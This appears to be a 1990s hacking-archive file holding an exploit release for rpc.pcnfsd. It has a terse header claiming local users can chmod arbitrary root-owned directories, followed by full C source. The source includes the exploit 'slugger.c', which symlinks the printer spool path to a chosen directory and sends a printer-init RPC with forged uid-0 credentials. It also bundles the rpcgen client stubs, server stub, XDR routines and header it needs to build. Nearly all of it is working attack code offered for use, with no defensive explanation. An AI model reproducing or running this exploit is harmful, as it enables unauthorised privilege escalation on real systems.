home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pcnfsd.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  18KB  |  717 lines

  1.  
  2.  
  3.  
  4.                       Avalon Security Research
  5.                             Release 1.1
  6.                              (pcnfsd)
  7.  
  8. Affected Program: rpc.pcnfsd
  9.  
  10. Tested Operating Systems: Virtually any UNIX running pcnfsd.
  11.  
  12. Affect: Local users may chmod arbitrary directories on local
  13. hosts running pcnfsd.
  14.  
  15. Bug Synopsis:
  16.  
  17. Read the code.
  18.  
  19.  
  20. All responses may be directed to mcpheea@cadvision.com
  21. ------------------------------------------------------------------------------
  22. /*
  23.  * Please do not edit this file.
  24.  * It was generated using rpcgen.
  25.  */
  26.  
  27. #include <memory.h> /* for memset */
  28. #include "pc.h"
  29.  
  30. /* Default timeout can be changed using clnt_control() */
  31. static struct timeval TIMEOUT = { 25, 0 };
  32.  
  33. void *
  34. pcnfsd_null_1(void *argp, CLIENT *clnt)
  35. {
  36.         static char clnt_res;
  37.  
  38.         memset((char *)&clnt_res, 0, sizeof(clnt_res));
  39.         if (clnt_call(clnt, PCNFSD_NULL, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
  40.                 return (NULL);
  41.         }
  42.         return ((void *)&clnt_res);
  43. }
  44.  
  45. auth_res *
  46. pcnfsd_auth_1(auth_args *argp, CLIENT *clnt)
  47. {
  48.         static auth_res clnt_res;
  49.  
  50.         memset((char *)&clnt_res, 0, sizeof(clnt_res));
  51.         if (clnt_call(clnt, PCNFSD_AUTH, xdr_auth_args, argp, xdr_auth_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
  52.                 return (NULL);
  53.         }
  54.         return (&clnt_res);
  55. }
  56.  
  57. pr_init_res *
  58. pcnfsd_pr_init_1(pr_init_args *argp, CLIENT *clnt)
  59. {
  60.         static pr_init_res clnt_res;
  61.  
  62.         memset((char *)&clnt_res, 0, sizeof(clnt_res));
  63.         if (clnt_call(clnt, PCNFSD_PR_INIT, xdr_pr_init_args, argp, xdr_pr_init_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
  64.                 return (NULL);
  65.         }
  66.         return (&clnt_res);
  67. }
  68.  
  69. pr_start_res *
  70. pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt)
  71. {
  72.         static pr_start_res clnt_res;
  73.  
  74.         memset((char *)&clnt_res, 0, sizeof(clnt_res));
  75.         if (clnt_call(clnt, PCNFSD_PR_START, xdr_pr_start_args, argp, xdr_pr_start_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
  76.                 return (NULL);
  77.         }
  78.         return (&clnt_res);
  79. }
  80. -------------------------------------------------------------------------------
  81. /* slugger.c
  82.  * By Josh D. April 19th 1994 AD
  83.  *    usage: slugger directory
  84.  * where 'directory' is an absolute path to a directory owned by
  85.  * root.
  86.  *    This code requires pcnfsd.x
  87.  *    pcnfsd must be running.
  88.  *    if the program doesn't work or gives you errors make sure that
  89.  *    'daprinter' contains a valid printer destination.
  90.  */
  91.  
  92. #include <sys/types.h>
  93. #include <sys/time.h>
  94. #include <sys/socket.h>
  95. #include <sys/ioctl.h>
  96. #include <errno.h>
  97. #include <arpa/inet.h>
  98. #include <string.h>
  99. #include <strings.h>
  100. #include <stdio.h>
  101. #include <stdlib.h>
  102. #include <netdb.h>
  103. #include <rpc/rpc.h>
  104. #include <netinet/in.h>
  105. #include "pcnfsd.h" /* this should be created by rpcgen */
  106.  
  107.  
  108. int main(argc, argv)
  109. int argc;
  110. char **argv;
  111. {
  112.  
  113.    char   myhost[200];
  114.    int    gids[8];
  115.    struct hostent      *dahent;
  116.    struct sockaddr_in  daserver;
  117.    CLIENT *datsme;
  118.    struct pr_init_args daargs;
  119.    struct pr_init_res *dares;
  120.    char daprinter[65];
  121.    char dadir[65];
  122.    char dapath[255];
  123.    struct timeval tout;
  124.    int ranysock=RPC_ANYSOCK;
  125.    tout.tv_sec=60;
  126.    tout.tv_usec=0;
  127.  
  128.    if (argv[1] == NULL)
  129.    {  printf("bad arguments\n");
  130.       exit(1);
  131.    }
  132.  
  133.    argc--;argv++;
  134.  
  135.    strcpy(dadir, argv[0]);
  136.    bzero(argv[0], strlen(argv[0]));
  137.  
  138.    argc--;argv++;
  139.  
  140.    /* this must be a valid printer */
  141.    strcpy(daprinter, "lp");
  142.  
  143.    gethostname(myhost, 200);
  144.    myhost[200]='\0';
  145.    sprintf(dapath, "/usr/spool/pcnfs/");
  146.    strcat(dapath, myhost);
  147.  
  148.    if (fork()==0)
  149.       execlp("ln", "----", "-s", dadir, dapath);
  150.    else
  151.       wait(0);
  152.  
  153.    daserver.sin_family = AF_INET;
  154.    daserver.sin_port = 0;
  155.    {
  156.       dahent = gethostbyname(myhost);
  157.       if (dahent == NULL)
  158.         printf("gethost failed.\n");
  159.       bcopy(dahent->h_addr, &daserver.sin_addr.s_addr, 4);
  160.    }
  161.  
  162.    datsme = clntudp_create(&daserver, 150001, 1,
  163.    tout, &ranysock);
  164.    clnt_control(datsme, CLSET_TIMEOUT, &tout);
  165.  
  166.    gids[0]=0;
  167.    gids[1]=1;
  168.    datsme->cl_auth = authunix_create(myhost, 0, 0, 2, gids);
  169.  
  170.    daargs.pia_client = myhost;
  171.    daargs.pia_printername = daprinter;
  172.  
  173.    /* send the packet */
  174.    if ( (dares = pcnfsd_pr_init_1(&daargs, datsme)) == NULL)
  175.    {  printf("wierd error\n"); }
  176.  
  177.    remove(dapath);
  178.    if (dares->pir_stat == PI_RES_OK)
  179.    {  printf("Success\n");
  180.       if (fork()==0)
  181.          execlp("/bin/ls", "-----", "-ald", dadir, 0);
  182.       else
  183.          wait(0);
  184.    }
  185.    if (dares->pir_stat != PI_RES_OK)
  186.    {  printf("Error: ");
  187.       switch(dares->pir_stat)
  188.       {
  189.          case PI_RES_NO_SUCH_PRINTER :
  190.             printf("No such printer\n");
  191.             break;
  192.          case PI_RES_OK :
  193.             printf("Result Ok\?\?\n");
  194.             break;
  195.          case PI_RES_FAIL :
  196.             printf("Generic Failure\n");
  197.             break;
  198.          default :
  199.             printf("Unknown Error\n");
  200.       }
  201.    }
  202. }
  203.  ------------------------------------------------------------------------------
  204. /*
  205.  * Please do not edit this file.
  206.  * It was generated using rpcgen.
  207.  */
  208.  
  209. #include "pc.h"
  210. #include <stdio.h>
  211. #include <stdlib.h>/* getenv, exit */
  212. #include <rpc/pmap_clnt.h> /* for pmap_unset */
  213. #include <string.h> /* strcmp */
  214. #include <memory.h>
  215. #include <sys/socket.h>
  216. #include <netinet/in.h>
  217.  
  218. #ifdef __STDC__
  219. #define SIG_PF void(*)(int)
  220. #endif
  221.  
  222. static void
  223. pcnfsd_1(struct svc_req *rqstp, register SVCXPRT *transp)
  224. {
  225.         union {
  226.                 auth_args pcnfsd_auth_1_arg;
  227.                 pr_init_args pcnfsd_pr_init_1_arg;
  228.                 pr_start_args pcnfsd_pr_start_1_arg;
  229.         } argument;
  230.         char *result;
  231.         xdrproc_t xdr_argument, xdr_result;
  232.         char *(*local)(char *, struct svc_req *);
  233.  
  234.         switch (rqstp->rq_proc) {
  235.         case PCNFSD_NULL:
  236.                 xdr_argument = (xdrproc_t) xdr_void;
  237.                 xdr_result = (xdrproc_t) xdr_void;
  238.                 local = (char *(*)(char *, struct svc_req *)) pcnfsd_null_1_svc;
  239.                 break;
  240.  
  241.         case PCNFSD_AUTH:
  242.                 xdr_argument = (xdrproc_t) xdr_auth_args;
  243.                 xdr_result = (xdrproc_t) xdr_auth_res;
  244.                 local = (char *(*)(char *, struct svc_req *)) pcnfsd_auth_1_svc;
  245.                 break;
  246.  
  247.         case PCNFSD_PR_INIT:
  248.                 xdr_argument = (xdrproc_t) xdr_pr_init_args;
  249.                 xdr_result = (xdrproc_t) xdr_pr_init_res;
  250.                 local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_init_1_svc;
  251.                 break;
  252.  
  253.         case PCNFSD_PR_START:
  254.                 xdr_argument = (xdrproc_t) xdr_pr_start_args;
  255.                 xdr_result = (xdrproc_t) xdr_pr_start_res;
  256.                 local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_start_1_svc;
  257.                 break;
  258.  
  259.         default:
  260.                 svcerr_noproc(transp);
  261.                 return;
  262.         }
  263.         (void) memset((char *)&argument, 0, sizeof (argument));
  264.         if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) {
  265.                 svcerr_decode(transp);
  266.                 return;
  267.         }
  268.         result = (*local)((char *)&argument, rqstp);
  269.         if (result != NULL && !svc_sendreply(transp, xdr_result, result)) {
  270.                 svcerr_systemerr(transp);
  271.         }
  272.         if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) {
  273.                 fprintf(stderr, "unable to free arguments");
  274.                 exit(1);
  275.         }
  276.         return;
  277. }
  278.  
  279. int
  280. main(int argc, char **argv)
  281. {
  282.         register SVCXPRT *transp;
  283.  
  284.         (void) pmap_unset(PCNFSD, PCNFSD_VERS);
  285.  
  286.         transp = svcudp_create(RPC_ANYSOCK);
  287.         if (transp == NULL) {
  288.                 fprintf(stderr, "cannot create udp service.");
  289.                 exit(1);
  290.         }
  291.         if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_UDP)) {
  292.                 fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, udp).");
  293.                 exit(1);
  294.         }
  295.  
  296.         transp = svctcp_create(RPC_ANYSOCK, 0, 0);
  297.         if (transp == NULL) {
  298.                 fprintf(stderr, "cannot create tcp service.");
  299.                 exit(1);
  300.         }
  301.         if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_TCP)) {
  302.                 fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, tcp).");
  303.                 exit(1);
  304.         }
  305.  
  306.         svc_run();
  307.         fprintf(stderr, "svc_run returned");
  308.         exit(1);
  309.         /* NOTREACHED */
  310. }
  311. -----------------------------------------------------------------------------
  312. /*
  313.  * Please do not edit this file.
  314.  * It was generated using rpcgen.
  315.  */
  316.  
  317. #include "pc.h"
  318.  
  319. bool_t
  320. xdr_arstat(XDR *xdrs, arstat *objp)
  321. {
  322.  
  323.          register long *buf;
  324.  
  325.          if (!xdr_enum(xdrs, (enum_t *)objp)) {
  326.                  return (FALSE);
  327.          }
  328.         return (TRUE);
  329. }
  330.  
  331. bool_t
  332. xdr_pirstat(XDR *xdrs, pirstat *objp)
  333. {
  334.  
  335.          register long *buf;
  336.  
  337.          if (!xdr_enum(xdrs, (enum_t *)objp)) {
  338.                  return (FALSE);
  339.          }
  340.         return (TRUE);
  341. }
  342.  
  343. bool_t
  344. xdr_psrstat(XDR *xdrs, psrstat *objp)
  345. {
  346.  
  347.          register long *buf;
  348.  
  349.          if (!xdr_enum(xdrs, (enum_t *)objp)) {
  350.                  return (FALSE);
  351.          }
  352.         return (TRUE);
  353. }
  354.  
  355. bool_t
  356. xdr_myself(XDR *xdrs, myself *objp)
  357. {
  358.  
  359.          register long *buf;
  360.  
  361.          if (!xdr_string(xdrs, objp, USERLEN)) {
  362.                  return (FALSE);
  363.          }
  364.         return (TRUE);
  365. }
  366.  
  367. bool_t
  368. xdr_genstr(XDR *xdrs, genstr *objp)
  369. {
  370.  
  371.          register long *buf;
  372.  
  373.          if (!xdr_string(xdrs, objp, GENERIC)) {
  374.                  return (FALSE);
  375.          }
  376.         return (TRUE);
  377. }
  378.  
  379. bool_t
  380. xdr_spool(XDR *xdrs, spool *objp)
  381. {
  382.  
  383.          register long *buf;
  384.  
  385.          if (!xdr_string(xdrs, objp, SPOOLLEN)) {
  386.                  return (FALSE);
  387.          }
  388.         return (TRUE);
  389. }
  390.  
  391. bool_t
  392. xdr_auth_args(XDR *xdrs, auth_args *objp)
  393. {
  394.  
  395.          register long *buf;
  396.  
  397.          if (!xdr_myself(xdrs, &objp->aa_ident)) {
  398.                  return (FALSE);
  399.          }
  400.          if (!xdr_genstr(xdrs, &objp->aa_password)) {
  401.                  return (FALSE);
  402.          }
  403.         return (TRUE);
  404. }
  405.  
  406. bool_t
  407. xdr_auth_res(XDR *xdrs, auth_res *objp)
  408. {
  409.  
  410.          register long *buf;
  411.  
  412.          if (!xdr_arstat(xdrs, &objp->ar_stat)) {
  413.                  return (FALSE);
  414.          }
  415.          if (!xdr_long(xdrs, &objp->ar_uid)) {
  416.                  return (FALSE);
  417.          }
  418.          if (!xdr_long(xdrs, &objp->ar_gid)) {
  419.                  return (FALSE);
  420.          }
  421.         return (TRUE);
  422. }
  423.  
  424. bool_t
  425. xdr_pr_init_args(XDR *xdrs, pr_init_args *objp)
  426. {
  427.  
  428.          register long *buf;
  429.  
  430.          if (!xdr_genstr(xdrs, &objp->pia_client)) {
  431.                  return (FALSE);
  432.          }
  433.          if (!xdr_genstr(xdrs, &objp->pia_printername)) {
  434.                  return (FALSE);
  435.          }
  436.         return (TRUE);
  437. }
  438.  
  439. bool_t
  440. xdr_pr_init_res(XDR *xdrs, pr_init_res *objp)
  441. {
  442.  
  443.          register long *buf;
  444.  
  445.          if (!xdr_pirstat(xdrs, &objp->pir_stat)) {
  446.                  return (FALSE);
  447.          }
  448.          if (!xdr_spool(xdrs, &objp->pir_spooldir)) {
  449.                  return (FALSE);
  450.          }
  451.         return (TRUE);
  452. }
  453.  
  454. bool_t
  455. xdr_pr_start_args(XDR *xdrs, pr_start_args *objp)
  456. {
  457.  
  458.          register long *buf;
  459.  
  460.          if (!xdr_genstr(xdrs, &objp->psa_client)) {
  461.                  return (FALSE);
  462.          }
  463.          if (!xdr_genstr(xdrs, &objp->psa_printername)) {
  464.                  return (FALSE);
  465.          }
  466.          if (!xdr_genstr(xdrs, &objp->psa_username)) {
  467.                  return (FALSE);
  468.          }
  469.          if (!xdr_genstr(xdrs, &objp->psa_filename)) {
  470.                  return (FALSE);
  471.          }
  472.          if (!xdr_genstr(xdrs, &objp->psa_options)) {
  473.                  return (FALSE);
  474.          }
  475.         return (TRUE);
  476. }
  477.  
  478. bool_t
  479. xdr_pr_start_res(XDR *xdrs, pr_start_res *objp)
  480. {
  481.  
  482.          register long *buf;
  483.  
  484.          if (!xdr_psrstat(xdrs, &objp->psr_stat)) {
  485.                  return (FALSE);
  486.          }
  487.         return (TRUE);
  488. }
  489. ----------------------------------------------------------------------------
  490. /*
  491.  * Please do not edit this file.
  492.  * It was generated using rpcgen.
  493.  */
  494.  
  495. #ifndef _PC_H_RPCGEN
  496. #define _PC_H_RPCGEN
  497.  
  498. #include <rpc/rpc.h>
  499.  
  500.  
  501. enum arstat {
  502.         AUTH_RES_OK = 0,
  503.         AUTH_RES_FAKE = 1,
  504.         AUTH_RES_FAIL = 2,
  505. };
  506. typedef enum arstat arstat;
  507. #ifdef __cplusplus
  508. extern "C" bool_t xdr_arstat(XDR *, arstat*);
  509. #elif __STDC__
  510. extern  bool_t xdr_arstat(XDR *, arstat*);
  511. #else /* Old Style C */
  512. bool_t xdr_arstat();
  513. #endif /* Old Style C */
  514.  
  515.  
  516. enum pirstat {
  517.         PI_RES_OK = 0,
  518.         PI_RES_NO_SUCH_PRINTER = 1,
  519.         PI_RES_FAIL = 2,
  520. };
  521. typedef enum pirstat pirstat;
  522. #ifdef __cplusplus
  523. extern "C" bool_t xdr_pirstat(XDR *, pirstat*);
  524. #elif __STDC__
  525. extern  bool_t xdr_pirstat(XDR *, pirstat*);
  526. #else /* Old Style C */
  527. bool_t xdr_pirstat();
  528. #endif /* Old Style C */
  529.  
  530.  
  531. enum psrstat {
  532.         PS_RES_OK = 0,
  533.         PS_RES_ALREADY = 1,
  534.         PS_RES_NULL = 2,
  535.         PS_RES_NO_FILE = 3,
  536.         PS_RES_FAIL = 4,
  537. };
  538. typedef enum psrstat psrstat;
  539. #ifdef __cplusplus
  540. extern "C" bool_t xdr_psrstat(XDR *, psrstat*);
  541. #elif __STDC__
  542. extern  bool_t xdr_psrstat(XDR *, psrstat*);
  543. #else /* Old Style C */
  544. bool_t xdr_psrstat();
  545. #endif /* Old Style C */
  546.  
  547. #define USERLEN 32
  548. #define GENERIC 64
  549. #define SPOOLLEN 255
  550.  
  551. typedef char *myself;
  552. #ifdef __cplusplus
  553. extern "C" bool_t xdr_myself(XDR *, myself*);
  554. #elif __STDC__
  555. extern  bool_t xdr_myself(XDR *, myself*);
  556. #else /* Old Style C */
  557. bool_t xdr_myself();
  558. #endif /* Old Style C */
  559.  
  560.  
  561. typedef char *genstr;
  562. #ifdef __cplusplus
  563. extern "C" bool_t xdr_genstr(XDR *, genstr*);
  564. #elif __STDC__
  565. extern  bool_t xdr_genstr(XDR *, genstr*);
  566. #else /* Old Style C */
  567. bool_t xdr_genstr();
  568. #endif /* Old Style C */
  569.  
  570.  
  571. typedef char *spool;
  572. #ifdef __cplusplus
  573. extern "C" bool_t xdr_spool(XDR *, spool*);
  574. #elif __STDC__
  575. extern  bool_t xdr_spool(XDR *, spool*);
  576. #else /* Old Style C */
  577. bool_t xdr_spool();
  578. #endif /* Old Style C */
  579.  
  580.  
  581. struct auth_args {
  582.         myself aa_ident;
  583.         genstr aa_password;
  584. };
  585. typedef struct auth_args auth_args;
  586. #ifdef __cplusplus
  587. extern "C" bool_t xdr_auth_args(XDR *, auth_args*);
  588. #elif __STDC__
  589. extern  bool_t xdr_auth_args(XDR *, auth_args*);
  590. #else /* Old Style C */
  591. bool_t xdr_auth_args();
  592. #endif /* Old Style C */
  593.  
  594.  
  595. struct auth_res {
  596.         enum arstat ar_stat;
  597.         long ar_uid;
  598.         long ar_gid;
  599. };
  600. typedef struct auth_res auth_res;
  601. #ifdef __cplusplus
  602. extern "C" bool_t xdr_auth_res(XDR *, auth_res*);
  603. #elif __STDC__
  604. extern  bool_t xdr_auth_res(XDR *, auth_res*);
  605. #else /* Old Style C */
  606. bool_t xdr_auth_res();
  607. #endif /* Old Style C */
  608.  
  609.  
  610. struct pr_init_args {
  611.         genstr pia_client;
  612.         genstr pia_printername;
  613. };
  614. typedef struct pr_init_args pr_init_args;
  615. #ifdef __cplusplus
  616. extern "C" bool_t xdr_pr_init_args(XDR *, pr_init_args*);
  617. #elif __STDC__
  618. extern  bool_t xdr_pr_init_args(XDR *, pr_init_args*);
  619. #else /* Old Style C */
  620. bool_t xdr_pr_init_args();
  621. #endif /* Old Style C */
  622.  
  623.  
  624. struct pr_init_res {
  625.         enum pirstat pir_stat;
  626.         spool pir_spooldir;
  627. };
  628. typedef struct pr_init_res pr_init_res;
  629. #ifdef __cplusplus
  630. extern "C" bool_t xdr_pr_init_res(XDR *, pr_init_res*);
  631. #elif __STDC__
  632. extern  bool_t xdr_pr_init_res(XDR *, pr_init_res*);
  633. #else /* Old Style C */
  634. bool_t xdr_pr_init_res();
  635. #endif /* Old Style C */
  636.  
  637.  
  638. struct pr_start_args {
  639.         genstr psa_client;
  640.         genstr psa_printername;
  641.         genstr psa_username;
  642.         genstr psa_filename;
  643.         genstr psa_options;
  644. };
  645. typedef struct pr_start_args pr_start_args;
  646. #ifdef __cplusplus
  647. extern "C" bool_t xdr_pr_start_args(XDR *, pr_start_args*);
  648. #elif __STDC__
  649. extern  bool_t xdr_pr_start_args(XDR *, pr_start_args*);
  650. #else /* Old Style C */
  651. bool_t xdr_pr_start_args();
  652. #endif /* Old Style C */
  653.  
  654.  
  655. struct pr_start_res {
  656.         enum psrstat psr_stat;
  657. };
  658. typedef struct pr_start_res pr_start_res;
  659. #ifdef __cplusplus
  660. extern "C" bool_t xdr_pr_start_res(XDR *, pr_start_res*);
  661. #elif __STDC__
  662. extern  bool_t xdr_pr_start_res(XDR *, pr_start_res*);
  663. #else /* Old Style C */
  664. bool_t xdr_pr_start_res();
  665. #endif /* Old Style C */
  666.  
  667.  
  668. #define PCNFSD ((u_long)150001)
  669. #define PCNFSD_VERS ((u_long)1)
  670.  
  671. #ifdef __cplusplus
  672. #define PCNFSD_NULL ((u_long)0)
  673. extern "C" void * pcnfsd_null_1(void *, CLIENT *);
  674. extern "C" void * pcnfsd_null_1_svc(void *, struct svc_req *);
  675. #define PCNFSD_AUTH ((u_long)1)
  676. extern "C" auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
  677. extern "C" auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
  678. #define PCNFSD_PR_INIT ((u_long)2)
  679. extern "C" pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
  680. extern "C" pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
  681. #define PCNFSD_PR_START ((u_long)3)
  682. extern "C" pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
  683. extern "C" pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);
  684.  
  685. #elif __STDC__
  686. #define PCNFSD_NULL ((u_long)0)
  687. extern  void * pcnfsd_null_1(void *, CLIENT *);
  688. extern  void * pcnfsd_null_1_svc(void *, struct svc_req *);
  689. #define PCNFSD_AUTH ((u_long)1)
  690. extern  auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
  691. extern  auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
  692. #define PCNFSD_PR_INIT ((u_long)2)
  693. extern  pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
  694. extern  pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
  695. #define PCNFSD_PR_START ((u_long)3)
  696. extern  pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
  697. extern  pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);
  698.  
  699. #else /* Old Style C */
  700. #define PCNFSD_NULL ((u_long)0)
  701. extern  void * pcnfsd_null_1();
  702. extern  void * pcnfsd_null_1_svc();
  703. #define PCNFSD_AUTH ((u_long)1)
  704. extern  auth_res * pcnfsd_auth_1();
  705. extern  auth_res * pcnfsd_auth_1_svc();
  706. #define PCNFSD_PR_INIT ((u_long)2)
  707. extern  pr_init_res * pcnfsd_pr_init_1();
  708. extern  pr_init_res * pcnfsd_pr_init_1_svc();
  709. #define PCNFSD_PR_START ((u_long)3)
  710. extern  pr_start_res * pcnfsd_pr_start_1();
  711. extern  pr_start_res * pcnfsd_pr_start_1_svc();
  712. #endif /* Old Style C */
  713.  
  714. #endif /* !_PC_H_RPCGEN */
  715.  
  716.  
  717.